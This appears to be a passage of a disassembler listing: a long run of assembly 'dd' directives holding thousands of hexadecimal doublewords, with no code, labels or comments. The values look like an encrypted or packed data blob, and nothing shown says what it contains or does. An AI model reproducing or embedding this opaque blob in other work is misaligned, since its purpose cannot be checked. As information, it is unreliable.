		dd 3D9F634Bh, 888ED5B9h, 0E9E341ECh, 55C2DD7Fh,	0E970C7F9h
		dd 84B46026h, 0FCFE680h, 0CCD18310h, 93C63C79h,	0BF0C8C8Ah
		dd 310E469Ah, 8E2C112h,	27D1A806h, 124A7730h, 0EA15058Fh
		dd 98557968h, 48640C01h, 0C20C05A9h, 1AE56112h,	0F07CBBF8h
		dd 0DA21044Ch, 0BE9A1EE9h, 0E36B06DDh, 83688237h, 2519EC79h
		dd 0D864B5E4h, 0C55B5CF0h, 8BB834B8h, 0A1993EE5h, 0B5E097Ch
		dd 20DF581Fh, 88084874h, 0EE015E0Ch, 4115ED2Ch,	9FED3BE6h
		dd 0BFB37113h, 5C0B3675h, 2FB055C1h, 23863897h,	50045F54h
		dd 684202B8h, 19D51C33h, 3BCB52DBh, 0BD93E211h,	0B83D56C4h
		dd 3ECA4E93h, 0FF2E8258h, 0F4EB44AEh, 68FF5E35h, 4E603DEh
		dd 74652C45h, 0FA7D12F6h, 0BFF9002Bh, 31B80259h, 2E9AF558h
		dd 8D407805h, 4ADC909Fh, 6834EE89h, 147446F9h, 8416E4Ch
		dd 2398901h, 2C34E926h,	0F4F1F0Ch, 4F749DAh, 0BB520180h
		dd 0A875F402h, 0AE225FC9h, 9CDFD40Bh, 4C2EFCC5h, 87A3C55Ah
		dd 0F3D9EFADh, 5F2C157Ch, 0FECB162Bh, 0AC13821Fh, 0A40119C3h
		dd 975E6BFh, 871B566Eh,	0FA4BF429h, 7CDA0F0Ch, 566181Fh
		dd 88583CAFh, 436A278Ch, 0C023E140h, 14AAB26Ah,	80492819h
		dd 3D5BE781h, 5A0D6BB3h, 145E6C8Bh, 0B8F0FA96h,	99E1BF5Ah
		dd 5C0E92F1h, 4BAC9AEBh, 512F8D91h, 0EC139D6Ah,	0BACF5F0h
		dd 5DEB3119h, 6080B29Ch, 1E34AEBFh, 4EB84767h, 1743B85Eh
		dd 0F4CA3864h, 7FB02384h, 726D01BAh, 54683DDEh,	0BF323B0Ah
		dd 2FF55C15h, 6CE20D0h,	5709C205h, 0F4A6C076h, 0B4AB785Bh
		dd 7F656F93h, 7115A306h, 42CE0C13h, 3AA9D7D0h, 0FFA15EC7h
		dd 79F38F00h, 0B8462D0Bh, 23830C0Eh, 0DDAE1296h, 21C46212h
		dd 3E905E01h, 0C36FC787h, 27B06AD1h, 34D0F301h,	0B8A65E08h
		dd 0BB49C813h, 54ACD231h, 0F92F1A25h, 49CED87Fh, 0BC449177h
		dd 0AC7C4025h, 0C630102Fh, 8A0F807Eh, 68FBF92Dh, 7996B733h
		dd 8550ED28h, 49F06857h, 0C38BF455h, 0D1988BF7h, 0C831421Ch
		dd 0E9B071F5h, 0F1128A73h, 418043C8h, 0F751308Eh, 72BB3C17h
		dd 87C50BAh, 51A01C60h,	18D63529h, 5A25DFBDh, 957894D5h
		dd 0CF88F47Ch, 3F0500F4h, 0F71FBC26h, 1327D87Ch, 0BCB9D9DBh
		dd 0EED56F96h, 0F3C2CA20h, 3C533E06h, 8116BB97h, 2A7E8B84h
		dd 1FF1C591h, 0F85DCE60h, 8B989C80h, 19D45057h,	9AB6D62h
		dd 995B09F5h, 902B527Eh, 887FB456h, 2058E109h, 0D8255CEh
		dd 52D7D7F6h, 8AE92DA8h, 505A3B82h, 0C328D2E0h,	16BCDE91h
		dd 9C47B622h, 0C93389E1h, 6DC7B5A0h, 50ADF190h,	0C8B62C52h
		dd 29F616A2h, 0CF59ECF2h, 0DEC10ACEh, 7D0C79FFh, 0F41F9B1Dh
		dd 35486F18h, 237458E0h, 0CE7789AFh, 1B02D130h,	30694BC9h
		dd 9E263905h, 1013502Bh, 75F2CD89h, 17C2A6D3h, 8CBA5EF7h
		dd 68015621h, 4EA7440Fh, 36BEAE9h, 51C8019Ch, 0BE17EFC1h
		dd 0A3A9CA77h, 0F45F4E4Ch, 0B372E9AFh, 0E60315BAh, 76880F05h
		dd 60E379C8h, 53E52E03h, 2D00489Eh, 0DF3B741Bh,	2FE9C631h
		dd 7D19BE54h, 5AD26C43h, 4C942BFAh, 0CD7FC4BAh,	0F752AC92h
		dd 22819AF9h, 86DB353h,	40023670h, 0E0002D33h, 16B4D4Bh
		dd 4DC968D8h, 0D4813F1Eh, 0F5624B64h, 34CCD281h, 7DFD692Fh
		dd 8EE265BBh, 0BF002250h, 3496158h, 270C65BEh, 0D656BAB7h
		dd 0EBF20118h, 8048B7CBh, 0C71F08B0h, 0E5282949h, 0AA040882h
		dd 37D388EBh, 4C5F0171h, 0A089250h, 0CE29DDE9h,	9E4AFE40h
		dd 12F2EC27h, 6BBB3C3h,	23711B30h, 0F51FC201h, 0D609EEBEh
		dd 28C6A130h, 0B5B29406h, 2133851h, 0B598EBEh, 0A06EAAE9h
		dd 8851528Eh, 7DEEE4FDh, 0E6793059h, 0F81CC667h, 50179E27h
		dd 58F380D1h, 0A33B33E9h, 77FBE723h, 95F22FAh, 6A3685A1h
		dd 0C7FA99D4h, 58C2E1E8h, 0C1F43021h, 0BAEB5Bh,	72BD5572h
		dd 0F94F5B2Eh, 0C72101AAh, 0E52413h, 0A0B951DFh, 955DE908h
		dd 0DDB30900h, 3A58D868h, 8852C253h, 0E34BFFDEh, 9BDFE0F2h
		dd 9DB7C9EEh, 79E14972h, 686485B1h, 305E1ACBh, 306E950Bh
		dd 2551150Ch, 55221AE3h, 4455D976h, 0BE63F084h,	0AE51887Bh
		dd 0E54B3628h, 0BA525C70h, 300D142Dh, 0D701EB66h, 0E999CFF2h
		dd 3343C09h, 0B576CCBEh, 3B93D330h, 9A125267h, 50DCBDB7h
		dd 475C3CDCh, 5056C95Dh, 9CBD02FCh, 455D3805h, 8B4F4255h
		dd 0F4F2B54h, 375C0F00h, 0BD7E3DCDh, 0ADF410BBh, 390C680Ch
		dd 0DB5F45CFh, 2B12718Fh, 283CAF74h, 0D470070h,	5AD03167h
		dd 92D7625h, 18A1DE7Bh,	0EA88D5BEh, 25D2F63Dh, 0B1880347h
		dd 59CCD8A8h, 58E22628h, 0F851C01h, 129A5AD4h, 0F078BC61h
		dd 7EB864EFh, 5E5E8495h, 30E506EBh, 0C20793CBh,	26CF347Ch
		dd 4A95B2B5h, 8EC506A7h, 6CE3ECh, 6A666938h, 2E9ED9BEh
		dd 54A57B1h, 0EE50599Bh, 0C68531C7h, 0F4F50812h, 0B25BE87Ah
		dd 29436C14h, 87A5F031h, 0B284B151h, 0C0A0C270h, 5D867425h
		dd 0E5009290h, 6103446Ch, 0BF0598E9h, 0B19CA04Eh, 0E0256C26h
		dd 0B0E2D0C3h, 51972045h, 0E943A280h, 0DFF2ED2Dh, 5A140E38h
		dd 0D82D4DA4h, 0D70A6616h, 0B09EE8CFh, 16F2062Fh, 0B0EFC13Bh
		dd 0A16B173h, 69D16602h, 68001063h, 0AB957770h,	28058D1h
		dd 0E47C50BBh, 0DD84016Eh, 8540FE06h, 0F3220AE3h, 34CCED5Ch
		dd 43DF2E73h, 95F200F9h, 0C7E94D6Fh, 58BDE39Ah,	90F4E6D1h
		dd 0F9F895A9h, 0E9E3D961h, 0E77FEA10h, 0C2CE6A59h, 0CE668F05h
		dd 0E87C9981h, 9C096206h, 0D44AC654h, 3C59245Bh, 5C932C8Bh
		dd 6174EAFDh, 452EF0F8h, 8263B856h, 0B6C241F9h,	68133150h
		dd 34AB544Fh, 9ECEEADEh, 0F2C47813h, 4C0592BEh,	0D883B52h
		dd 47601661h, 97ED07h, 4398B223h, 9F5AD101h, 0F87A8ADCh
		dd 0A828F0E7h, 60D4E932h, 1F251083h, 3D4B9518h,	0F240BDC3h
		dd 0EE3B8080h, 2DCA139Fh, 0AD15B38h, 57FEF364h,	0D86A62FDh
		dd 0B529BE90h, 84E8DD9Ch, 0A57567C9h, 49689320h, 324B2F7Fh
		dd 4150C798h, 26F8D544h, 4ACF5E86h, 0BA53BE4Bh,	1D01BE0Dh
		dd 0B5C026ECh, 8814D2C4h, 2708E1E4h, 1C3F250h, 0BFEF4E2Dh
		dd 6DC3899Ch, 0F955C965h, 27E8201Ch, 5EE68696h,	5271540Bh
		dd 8B80293Eh, 80E8969h,	6A029F24h, 85331D69h, 70BF6A3h
		dd 0D4BE0950h, 0E9893EA1h, 0DA5C6D65h, 0EA245D72h, 0DEBEB43Eh
		dd 0D44AECEEh, 0F3A146F8h, 2F1405DFh, 599771BAh, 3AAB4FE0h
		dd 550D6311h, 0C51687B4h, 0AA8F955Ah, 2689DEE6h, 2C5846E1h
		dd 0C43B01F8h, 2B685D12h
		dd 9BD00E38h, 466AC20Bh, 0D1CDF305h, 71F528D0h,	0D887E4FAh
		dd 0C03BD497h, 1F1CBB53h, 81494700h, 2867D0CBh,	0BF573A77h
		dd 8990801Ch, 8606FB01h, 0F51DFFE4h, 0ED93EB8Bh, 0EE0253A9h
		dd 406F1677h, 318CAF5h,	0F2215A08h, 71B8831Ch, 57422CAAh
		dd 0F8CA13B2h, 3DA4C0EFh, 9D5D442Dh, 0B65C6EF6h, 79850467h
		dd 66BA00FFh, 0A03F2D16h, 5F5C2293h, 12C9A859h,	3B40305h
		dd 64452088h, 1A07C49Eh, 8FC15DA2h, 27A5109Eh, 8519C9DAh
		dd 0FE892F25h, 0A1BDEC2Eh, 0A63FF560h, 2D74887h, 2E4C5AE2h
		dd 1368FC40h, 0F9FD177Ch, 10FD9726h, 0E40F1184h, 7F98595Eh
		dd 0CF3CC509h, 83C1DD12h, 7F052819h, 0F0D55D51h, 0A70DEC78h
		dd 34CA29B9h, 5EC36560h, 8E62BCBCh, 0FC5B1009h,	66AAF4CCh
		dd 685C329Fh, 9ACE3966h, 0C33EEEF1h, 99A49F18h,	0DDA612EEh
		dd 78C5F573h, 51500788h, 0A99F5958h, 6590751Ch,	2F16E1CBh
		dd 96043545h, 0A016E5AAh, 65990197h, 0A668C04h,	138CA0EAh
		dd 0FF738225h, 0FE118D82h, 99F9BD04h, 0D524012Dh, 259FAD5Dh
		dd 0D7C88B16h, 3530D46Eh, 8DB4A3A9h, 0B0E47DC0h, 6C325C6Dh
		dd 0DF71A725h, 0FA27E0CDh, 24687750h, 69BA1201h, 0D5010EF8h
		dd 586CA033h, 4B3F07E9h, 37DF04Ch, 849B9CBCh, 0C8DAF2EBh
		dd 0A45EA533h, 20FF7825h, 2C16B041h, 4D8D596Dh,	0C72A70C5h
		dd 89684186h, 4F8C6F57h, 0E9D9A8B2h, 7DC2EF02h,	7D62A051h
		dd 0FA36497Ah, 0E887D7C8h, 0BC09DDF7h, 0D0134B4Ch, 9DB86036h
		dd 15486455h, 1B94046Fh, 90AB0749h, 444AF383h, 0D4227A26h
		dd 0B8001810h, 7DE30A1Bh, 3212A805h, 860B0930h,	0D1A08448h
		dd 5ABDF0EEh, 0F302CE41h, 5875F816h, 0C042852h,	0BB196F30h
		dd 69DBA590h, 0C6660B3h, 3544295Ch, 2FEBD0BFh, 2F54FA01h
		dd 684DE962h, 0E19AB67Dh, 0D0921E7Eh, 7F542624h, 25A64D2Dh
		dd 42261947h, 3A82A808h, 0AEEB3693h, 88AE99D5h,	370F56C1h
		dd 255E5313h, 0F01F3872h, 0EDF86DD7h, 8E5EE4D1h, 0B9F58C2h
		dd 0D62C2ED3h, 0DD118E7h, 0D24A9BE9h, 0B9E60A8h, 8FF23A79h
		dd 0C177D880h, 0F8BDB3C0h, 0C02C8116h, 0EF62DFCAh, 0E9124514h
		dd 7FF2A80Eh, 0B195BDC0h, 312A628Ch, 0C2BE8FEAh, 6769C30Dh
		dd 0BF68883Ah, 518A200Fh, 3035EB68h, 0F653523Eh, 1D1009D8h
		dd 4F705B22h, 198A0F0Bh, 0A1151CDh, 97A41E28h, 7AB5E1B9h
		dd 93D439E7h, 8D905620h, 611800Bh, 0B115669h, 2ED2AE72h
		dd 0CFF32B0Ah, 7910F78Eh, 2763B62Ch, 14426B7Ch,	2105C621h
		dd 0E94197F9h, 0A18CEA05h, 425CA719h, 0F2814A03h, 97D03ECEh
		dd 4892BAD3h, 54399724h, 0AA2DC193h, 0BC4A24CAh, 32233298h
		dd 7612DD77h, 0F77A347Fh, 309CEBA0h, 0C3A113C8h, 0C6586AA1h
		dd 0C3D928C6h, 5B0E0EB2h, 90505393h, 498ACB02h,	0AE82204Dh
		dd 0C6000118h, 5AFF1F57h, 175BECEFh, 95FC21C2h,	0BCE984E5h
		dd 685A051Bh, 65AB2732h, 0CB28EDFCh, 1A67DF5Eh,	9A29DF25h
		dd 0A1029CFFh, 41032059h, 106BCB0h, 3496DABEh, 2C1CA5A8h
		dd 86592F3h, 0D8806D44h, 3A5B802Dh, 0A23FE77Ch,	0F2455B38h
		dd 3B376AE3h, 5EBC03A2h, 41DF494Ah, 0C43A9EC4h,	4C99BBB0h
		dd 4B96F02Eh, 18760D07h, 28A75FBFh, 884B00F9h, 9835727Fh
		dd 0CFE22261h, 2DE7C65Dh, 5ADC5E5Dh, 1E61CE83h,	3E75FE85h
		dd 0D3AA3504h, 8243E7ABh, 48ABB3E9h, 1E32F171h,	0DF3B2823h
		dd 56B0E052h, 890F0206h, 20F338C9h, 0BD1D86D9h,	9CF06DAFh
		dd 26685BCDh, 1277653Fh, 82600905h, 4DD92D01h, 0E0072E12h
		dd 40554A52h, 80550FAh,	17141C68h, 163F35Dh, 5D3BF57h
		dd 0B87E3BE8h, 279C000Bh, 0B4E9602Ah, 3BA0B93Eh, 7D7064A5h
		dd 0A5556F9Dh, 797FC29Ah, 0F2E941F0h, 0DD599D32h, 4D3075DEh
		dd 3D6725E5h, 8DAA78ACh, 0A2858F1h, 38BBB026h, 5E80072h
		dd 55C02C53h, 31DE62Dh,	0E2425CF8h, 7234A157h, 0EB492046h
		dd 80870F17h, 61BED484h, 0FECDE980h, 5AE6327Fh,	786895EFh
		dd 0EE959B7Fh, 71D99D1Ch, 931DF508h, 0CE76A934h, 772F3C45h
		dd 76B74294h, 0A4A0B921h, 8526AC98h, 358468A7h,	3B867296h
		dd 0FA3838BCh, 5364FB4Eh, 5EBFA580h, 684A38C2h,	410D3B50h
		dd 0EE830598h, 0FE902FA7h, 5A50D104h, 0E1D0BA1Fh, 251655F5h
		dd 947D38C8h, 0C362E4Dh, 58CC72Ch, 56F3FB93h, 7706B807h
		dd 6C355011h, 304C4B56h, 9FBA18D7h, 0B1E337A5h,	4584A04Ch
		dd 6692A044h, 89CF290Ch, 75E996F9h, 69351D8Fh, 9E4A8956h
		dd 82B14E79h, 70F452F2h, 0F8F1B5E2h, 27C5BD39h,	5671E2CFh
		dd 6817569Bh, 8EBC298Fh, 133BCBC4h, 5FE41EB4h, 6C9E44Ch
		dd 1A4EFFF0h, 41E1C9F8h, 0DB5DC22Fh, 0D8732D9Ch, 97C6680Fh
		dd 80A567A9h, 462B54D8h, 2E351D00h, 2D37520Eh, 14250176h
		dd 0E9C2012Ah, 0C1B93532h, 5750DCF0h, 8D8F19Dh,	0BB0064A1h
		dd 107636E0h, 5FFB0B29h, 6196D931h, 424A6879h, 611D7ACCh
		dd 885310D6h, 54C72FF3h, 0D3BB0AB4h, 1017DA94h,	48E8141Eh
		dd 0EDC38083h, 5A60D882h, 89A96C77h, 6C903F11h,	135143F7h
		dd 41576638h, 275CEEACh, 8A5C2322h, 0E9050FEDh,	50AA85AEh
		dd 3584CA7Fh, 0CD21044Dh, 40A09DAFh, 29F16B69h,	5A0CC48h
		dd 79591F39h, 4BFD81AFh, 0BAFFD613h, 0D6D97F3Dh, 0A5F3E98Bh
		dd 7DF85ED7h, 6442D08Bh, 3DCEA5C1h, 4FEC180Eh, 0DFA2DB0Bh
		dd 165EC3ECh, 0DFF91D4Ah, 85343E87h, 0E43A8EA9h, 0BA4E4FF2h
		dd 1BEF0503h, 0D5B192E3h, 5365FC51h, 5879A41h, 622F3A57h
		dd 0C80E951h, 51D9295Bh, 0B59E59E8h, 0E9167C3Bh, 0C3F3288Ch
		dd 0C854EB5Eh, 38F30161h, 0F9293E46h, 0F7DA25F5h, 6BC49711h
		dd 2F07A6F3h, 861C2B20h, 0EA3262CAh, 0E2030602h, 0FA7EC0B7h
		dd 0D3290545h, 0AEE6FBE9h, 0E79CFB88h, 579463Fh, 5E3AB649h
		dd 40D5AF36h, 0EF029F4h, 180B612Dh, 6965E372h, 5A2C5CB7h
		dd 0CC07363h, 0CC3467Dh, 987A270Fh, 0B67EA768h,	411F60D1h
		dd 0E9173872h, 77AEEA43h, 0A0F9B46Ch, 8F982DD8h, 26466B26h
		dd 2B87580Bh, 0ADD1762Eh, 94893509h, 0C79778F0h, 0D068878Eh
		dd 0B4DF0B35h, 965C9859h, 0C12C447Fh, 0D204C82Bh, 24AD0A5Dh
		dd 88AF6B13h, 7BFB020Ch, 908A92C8h, 521896D0h, 72395E55h
		dd 167310D4h, 0F0D888FEh, 8D69DFDEh, 394E8332h,	38AB10C1h
		dd 0F91C50D5h, 0C23F7D41h, 68017572h, 8C2F6962h, 0F97031D9h
		dd 69FAD4BDh, 482024F0h, 50C483A1h, 0CB06540Bh,	61800706h
		dd 0E619BDFh, 5713E92Dh, 24857F9Ah, 27B1A85Dh, 0EC84FF59h
		dd 0CB649033h, 3627C90h, 6B8D1C8h, 8620B493h, 31FF24CAh
		dd 9789FA4h, 32F477C9h,	0C322DC5h, 72C38BE9h, 2CDF76D8h
		dd 61A7300Ch, 45ABE954h, 87A2AE88h, 67866882h, 0DE917A1h
		dd 7DB76FFBh, 76EE8101h, 3B32743Fh, 604F15E0h, 0C4F21B0Ah
		dd 3B76BC06h, 3620EA05h, 44ABE711h, 0BBEB954Dh,	0FC1C1C31h
		dd 7BBB8B82h, 98857415h, 12CCA9D4h, 40F8FAB4h, 5D51661Dh
		dd 65F4DEE1h, 0F2E91EE1h, 5125BAF4h, 6E2FC9D2h,	0BF8BF1D4h
		dd 0EF2F0874h, 505382FDh, 6277D488h, 5A5AFF42h,	51F8E080h
		dd 9FB35338h, 3E8BDBF6h, 989E55D5h, 9F059231h, 24E04077h
		dd 69D497A0h, 208FDA5Ah, 5C5F7BCDh, 29827A75h, 0FFBDEA55h
		dd 57C9EC5Bh, 0A440D4CAh, 96B361F8h, 45BF0516h,	0BA84AD0Dh
		dd 2860242Dh, 0EA59C02Ch, 4D49565Ch, 0A14AF1F6h, 0E1DC20AAh
		dd 94FFD7Fh, 50BE9112h
		dd 5A2C0BDCh, 0DFF44014h, 0E9258A31h, 891D74F6h, 0BF30366Dh
		dd 0B980E850h, 0CA590B19h, 0ADA0106h, 0DF559F1Fh, 0CD5E907h
		dd 2CBF16CEh, 0B24183E7h, 0BCC1827Bh, 0C8215C01h, 6AB9D92Eh
		dd 0F24BB2E9h, 61BA93DCh, 0C2FC8768h, 0C92AF1FDh, 0D7DAC7F6h
		dd 0CB54EB09h, 800EB470h, 6F4B63E9h, 0E2F06DBCh, 5F48EA6Dh
		dd 7E84279Ah, 555770DEh, 0A79FE913h, 877E6CFBh,	772F59B6h
		dd 9EE0AE22h, 4250B3D4h, 3A097EAh, 7312FE2Dh, 5CCB475Ah
		dd 150C8B10h, 2EC1A01Eh, 6B88427Ch, 76D02548h, 18389709h
		dd 22188E33h, 5EBCD1D6h, 0E901164Ch, 4BBC91FDh,	0BA9342E3h
		dd 70D2F861h, 85D0B22Bh, 0FA98F93Dh, 0AC6C24A3h, 0B2F1011Fh
		dd 3C169735h, 9F7A14E5h, 19982E2Bh, 68014C09h, 31077C2Bh
		dd 7B0C32FCh, 7AF4E90Eh, 5A2C20F9h, 3BC6A8B0h, 0ECCF0CBDh
		dd 310DC424h, 251A2C49h, 2EC6D0F5h, 892680D2h, 41A305E5h
		dd 0E2E74590h, 7BF15689h, 0C321ADBCh, 839B4CF0h, 3CDA68E3h
		dd 0D395EC46h, 72F11929h, 0A5E705F6h, 0E05FE984h, 3BF646Ch
		dd 2D4E2C8Ch, 0FBFC5A10h, 0E266518Eh, 0F4E5B050h, 2D1633EAh
		dd 25790C48h, 9C79DE41h, 155E2D0Dh, 0FEF7B103h,	0E9C990C1h
		dd 0E13770EBh, 8DDF8822h, 0D8A9851Ah, 0B02578C8h, 0AB7F866h
		dd 3B68890Fh, 4CF1050Fh, 0E1CB0034h, 1EFE3C45h,	0DC2D5825h
		dd 0A3CB4255h, 0D45DF0Bh, 78098829h, 4419D509h,	5F09E6A3h
		dd 0B24E6780h, 0A0B4215Ah, 7F6F6A86h, 0D7B84B5Ch, 2663E0A5h
		dd 34C02D5Ch, 413417EBh, 0F75B8001h, 3C42D230h,	16AB9A16h
		dd 0FDD321CCh, 0CDF6C79Ch, 0ABC7770Bh, 0A55576AFh, 1CA23E7Dh
		dd 2D138F68h, 2D504AFCh, 51610A9h, 7A07461h, 0DD92C4E9h
		dd 0BF2544Ah, 82F68C2h,	0D769A774h, 0A846039Ah,	5CE95017h
		dd 0A5ABAE84h, 2BFD2F72h, 0AD655517h, 20B8D04Ch, 0E39CEA48h
		dd 7A873C81h, 0CD4A3138h, 68ACE33h, 8F0B23D9h, 0E9C242FFh
		dd 6AFA39AFh, 0EA09A2A2h, 0FA099455h, 1A256184h, 45347A0Dh
		dd 0F85D0098h, 0C721027Fh, 0CD4BE913h, 9B677FEh, 38E59791h
		dd 835D049Eh, 96A9FFC1h, 5E118D12h, 0E5EC1D1Ch,	0DDF956B0h
		dd 5815A80h, 0BB9FADEDh, 0D504EEBFh, 0BB1FA87Bh, 2203442Fh
		dd 5610EDC1h, 6816ACD5h, 0E237EF88h, 48F140D4h,	9F5BB73Fh
		dd 204AE540h, 7A6877EFh, 0EB1B9DACh, 220530E8h,	0E9D53105h
		dd 0C5448FCEh, 28F3D8C8h, 7117A35h, 818C0F76h, 7DDAF7ADh
		dd 0EB595EE3h, 3F725508h, 4D10BBC0h, 0E9134287h, 7FDF65Dh
		dd 18A9E7Dh, 0CE7DB9BEh, 61B42E56h, 4360626Ah, 0B1E159C8h
		dd 4BCE38F3h, 0CF681C30h, 2E4D9378h, 3BE98501h,	4B9D4533h
		dd 72675467h, 64CEFA96h, 0F549FC92h, 97DE24A2h,	4EAAE344h
		dd 4BE97BA4h, 3668745h,	0C96466ECh, 0BF135AA8h,	0BD099336h
		dd 68D86ADEh, 0ABD8D2C2h, 0E9833BB3h, 713BF1FFh, 0E186ADD8h
		dd 0B07B475Ah, 681F41A6h, 6D5233BEh, 4A8DC2F4h,	0C64CBC92h
		dd 296DFA25h, 8FE855E0h, 36EAD388h, 0F22980DFh,	260CB850h
		dd 13614A24h, 753BBA02h, 854AFD03h, 0E1580804h,	43FC2B8Bh
		dd 0CCF53112h, 8095EC01h, 53CAFEECh, 5B057AB7h,	0FBC014Fh
		dd 6F81278Bh, 86F6C0D1h, 89689100h, 0C8C53762h,	4A9B57E1h
		dd 7E7038F1h, 0BE4A319Bh, 9254D4C8h, 0EBEBCEFh,	0A06B76FFh
		dd 0D2008CF1h, 0E93FA804h, 58A400Ch, 2D18B13Ch,	0AC967F68h
		dd 2D325358h, 53269DDh,	0F77C8A5h, 0BB97C6B7h, 12DDB40Ah
		dd 0DCF7AF6Dh, 7E686604h, 5EECBC01h, 2B4329EAh,	0E969BD01h
		dd 0E32F0C12h, 0CFB896C1h, 2C31CC10h, 8C00FB5Eh, 5D394C46h
		dd 0A9F05A21h, 50108EACh, 4430AF4Ah, 50613699h,	127CF26Fh
		dd 0AE0EB1D7h, 0A84D117h, 589CBEBh, 644953DFh, 0A13B87AAh
		dd 356ED050h, 0E312859Fh, 0CFD00742h, 501377EAh, 61CB60Bh
		dd 31C8227Ah, 0C2391ECAh, 0D24A130Ch, 608C3381h, 0D89E712Fh
		dd 7AC57EDh, 28DB0996h,	2CC047A5h, 903912E1h, 4526C383h
		dd 4B86EB52h, 0F7AE6285h, 90F94BAFh, 0E4F5D48Bh, 5C68128Dh
		dd 0B699353Ah, 64AC18B3h, 3959CB49h, 54A86E2Dh,	0C6AF34B9h
		dd 0FEA6C11Ah, 79318BB1h, 0E81AD5F9h, 4488D97Dh, 434D4933h
		dd 0FC265E16h, 0A5EBB48Dh, 5D032B70h, 2A61F968h, 989AC469h
		dd 0FB415AB5h, 1A221B31h, 895EA33Bh, 0A15958C8h, 0FC3B2B42h
		dd 0A168C206h, 6333D440h, 0EA852D9Ch, 0FD5A39CEh, 132F48A0h
		dd 0D789E66Eh, 6C59BF00h, 0A3C0BD58h, 0FE056E0Bh, 8D820F28h
		dd 5B99FA23h, 0C771A453h, 0BFF9970Bh, 0F184FF2Ah, 5A8C8B50h
		dd 51A1C0B8h, 0C1F97F50h, 11A2FFB4h, 0CC0163C4h, 570456C8h
		dd 9E7F0E68h, 4940D0FBh, 16056A47h, 3C8BFE89h, 0E96598BAh
		dd 42938E30h, 255C7CB9h, 0DFF457F5h, 60FF5163h,	77E9DA82h
		dd 2B4CBB36h, 52915BA2h, 3BBFFEFh, 47ADE702h, 0DC4065F8h
		dd 152C14F2h, 0A120D360h, 17D3F704h, 0A0A845BDh, 0D3AAF25Fh
		dd 1515210Dh, 5AC76320h, 0ADF724A0h, 0C9E68521h, 0DEF366EBh
		dd 0E961BCB9h, 8D348209h, 277A9858h, 0A615F112h, 2085E90Bh
		dd 4DE7BF16h, 0F267616Ch, 8CD2BAD0h, 0FD9BF984h, 3B3709EAh
		dd 1B8077F8h, 27D61C8Fh, 1CD00176h, 0E4A24B08h,	134241CBh
		dd 4E3C97F4h, 0EA0F50E4h, 8B4E6354h, 0EF85C056h, 0B05719Ch
		dd 0D8D7B7A8h, 0CAFC9A70h, 0C013901h, 0E518E954h, 7BD2697h
		dd 0A4315A71h, 0BE8E903Ah, 122F56A6h, 0A995C22h, 40E9989Eh
		dd 73F6144Ch, 0C2A55195h, 4EDEF4E9h, 53CAB125h,	8245AC3Fh
		dd 755EF389h, 88249CF1h, 0FEE56AA4h, 0DB35CF07h, 0A4EEDD0Bh
		dd 14DB65BDh, 0FED72059h, 0A7A5E586h, 0A4DF27F0h, 68020A41h
		dd 25547242h, 0B3BB53C0h, 0C00A5A5Bh, 164CFD13h, 0B21E1E5Bh
		dd 1B84CB41h, 0A26B5642h, 291F0771h, 80A937CFh,	121BA8CAh
		dd 3FBE041Dh, 0BF182A5Dh, 8331210Ah, 5CA1E905h,	455A90BDh
		dd 0E8535A5Ch, 813D25Ch, 0E9C243F2h, 32668706h,	5F585716h
		dd 0D52031A5h, 0DC3FE1A7h, 0CD3A8121h, 4649015Fh, 70FE870Fh
		dd 82EFF39h, 11130B08h,	7E2159E9h, 4AAC4B17h, 0F48A3FE9h
		dd 0D8BE3850h, 1969DACDh, 70F06881h, 5A1D2DFFh,	3A414168h
		dd 89ACC517h, 488AFAFDh, 0BD204F0h, 0D4D481CBh,	2EA82A95h
		dd 4EA01C4h, 5105F6A3h,	4B57AAB9h, 0D8A47C22h, 0A337A51Fh
		dd 85FF93ADh, 63C2EB00h, 0A03FD621h, 2BAA388Ah,	0DA77BB4Eh
		dd 0DB108CDFh, 0E66E4838h, 0AF9291D4h, 0D31384E6h, 0C4C4B8AEh
		dd 5809D842h, 0E927FBBCh, 0BC8ED8D5h, 7AD75294h, 953B2D7Fh
		dd 414BBA7Fh, 92651224h, 9C055560h, 7496C281h, 3C32BD00h
		dd 81750230h, 83EA91EDh, 6A9C2DFh, 2DFC2B2h, 0BA685153h
		dd 1D416F7Ch, 0EBC2A0Ch, 2A42C6B4h, 471FFD08h, 0E041C41Dh
		dd 0E106815Bh, 50D50198h, 0AC8C4E4Ch, 0BB1F8068h, 9051F538h
		dd 554408Ch, 0F907410Bh, 2D1B0575h, 77680702h, 0A577E751h
		dd 62A1C368h, 0BF54E980h, 0DAF65100h, 89EDC280h, 5008E106h
		dd 0E8672A4Ch, 81C15AB5h, 3A2C5D66h, 0D8F27840h, 9012F011h
		dd 3F500C5Eh, 5AC416DBh, 53175EBDh, 4B7EB3FAh, 0AA13A448h
		dd 2C1CCDA2h, 0E9F428B9h, 5301603Ah, 0D8B75DB3h, 0B4922A65h
		dd 4A2D3D1Ah, 31AD8104h, 0D2488C6h, 0FC7EBE41h,	0CBC99E17h
		dd 0B83EC6EFh, 48E70B24h, 64DD35E5h, 6BCA25DBh,	96552D0Bh
		dd 2715FD9h, 2EAC016h, 0FCF29DA2h, 5091AE1h, 0F8AAC5BBh
		dd 78F82777h, 0FAEE09DDh
		dd 0EB30F488h, 2CD6E528h, 40C805B0h, 0DF09F76Eh, 784E860Fh
		dd 0B2D99F6Ah, 0FC4C641h, 48AD9838h, 0B941B7B5h, 63B50B7Bh
		dd 0E2F76A29h, 9A71F790h, 68BA01E9h, 563C0D5Fh,	0BC4957C1h
		dd 0AD74306Ch, 9343B60Bh, 0AE65DF01h, 0C2EE830Eh, 0A24B7E68h
		dd 4AD9E29Fh, 0A278229h, 0C80081Dh, 0EEC79CC5h,	4D26DB0Fh
		dd 0F0A8690Eh, 0E8211714h, 0D5CDFB5Dh, 0A830A120h, 0CB478F4Dh
		dd 0F02106EEh, 27CA215Fh, 1EA11CCh, 0EE4A4A35h,	0FBF29E93h
		dd 0D1E0F231h, 3AA2CCF0h, 0C88BF24Fh, 804E5658h, 9EA62D2Fh
		dd 89AFF512h, 0FAF2EC09h, 0A4C33914h, 0C94DEB9Eh, 0CF7A99DEh
		dd 2039DD05h, 82BB0964h, 69F05594h, 925BDAEAh, 7A2C47BBh
		dd 0E7FD0946h, 93FE96F6h, 394CBE8Bh, 83551CDFh,	0BBA1A8D7h
		dd 0CF2D067Fh, 0F83DD533h, 5453A466h, 0F388F701h, 0B97E285Ah
		dd 0A7AA9E96h, 38620313h, 0BA6A008h, 0CE8B800Fh, 565F6568h
		dd 5F702B26h, 46FF8912h, 2ED73372h, 0D685E09h, 0C4625478h
		dd 0A98BFB0Ch, 0ED446627h, 81CF5769h, 32217AC1h, 0F7DC47C1h
